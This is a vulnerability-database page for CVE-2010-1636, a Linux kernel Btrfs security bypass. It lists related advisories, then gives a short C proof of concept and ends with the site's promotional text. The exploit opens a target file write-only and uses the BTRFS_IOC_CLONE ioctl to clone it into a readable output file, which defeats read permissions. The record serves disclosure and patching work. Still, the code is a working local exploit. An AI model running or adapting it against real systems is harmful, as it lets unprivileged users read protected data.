Linux Kernel 2.6.x - Btrfs Cloned File Security Bypass
| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| CVE-2010-1636 | 18 May 201000:00 | – | circl | |
| CVE-2010-1636 | 7 Jun 201020:00 | – | cve | |
| CVE-2010-1636 | 7 Jun 201020:00 | – | cvelist | |
| EUVD-2010-1657 | 7 Oct 202500:30 | – | euvd | |
| [SECURITY] Fedora 12 Update: kernel-2.6.32.14-127.fc12 | 14 Jun 201017:13 | – | fedora | |
| [SECURITY] Fedora 13 Update: kernel-2.6.33.5-112.fc13 | 31 May 201018:30 | – | fedora | |
| Fedora 13 : kernel-2.6.33.5-112.fc13 (2010-9183) | 1 Jul 201000:00 | – | nessus | |
| Fedora 12 : kernel-2.6.32.14-127.fc12 (2010-9209) | 1 Jul 201000:00 | – | nessus | |
| openSUSE Security Update : kernel (openSUSE-SU-2010:0664-1) | 24 Sep 201000:00 | – | nessus | |
| Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : linux, linux-{source-2.6.15,ec2,mvl-dove,ti-omap} vulnerabilities (USN-966-1) | 5 Aug 201000:00 | – | nessus |
10
/*
source: https://www.securityfocus.com/bid/40241/info
The Linux Kernel is prone to a security-bypass vulnerability that affects the Btrfs filesystem implementation.
An attacker can exploit this issue to clone a file only open for writing. This may allow attackers to obtain sensitive data or launch further attacks.
*/
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#define BTRFS_IOC_CLONE _IOW(0x94, 9, int)
int main(int argc, char * argv[])
{
if(argc < 3) {
printf("Usage: %s [target] [output]\n", argv[0]);
exit(-1);
}
int output = open(argv[2], O_WRONLY | O_CREAT, 0644);
/* Note - opened for writing, not reading */
int target = open(argv[1], O_WRONLY);
ioctl(output, BTRFS_IOC_CLONE, target);
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Jul 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.00829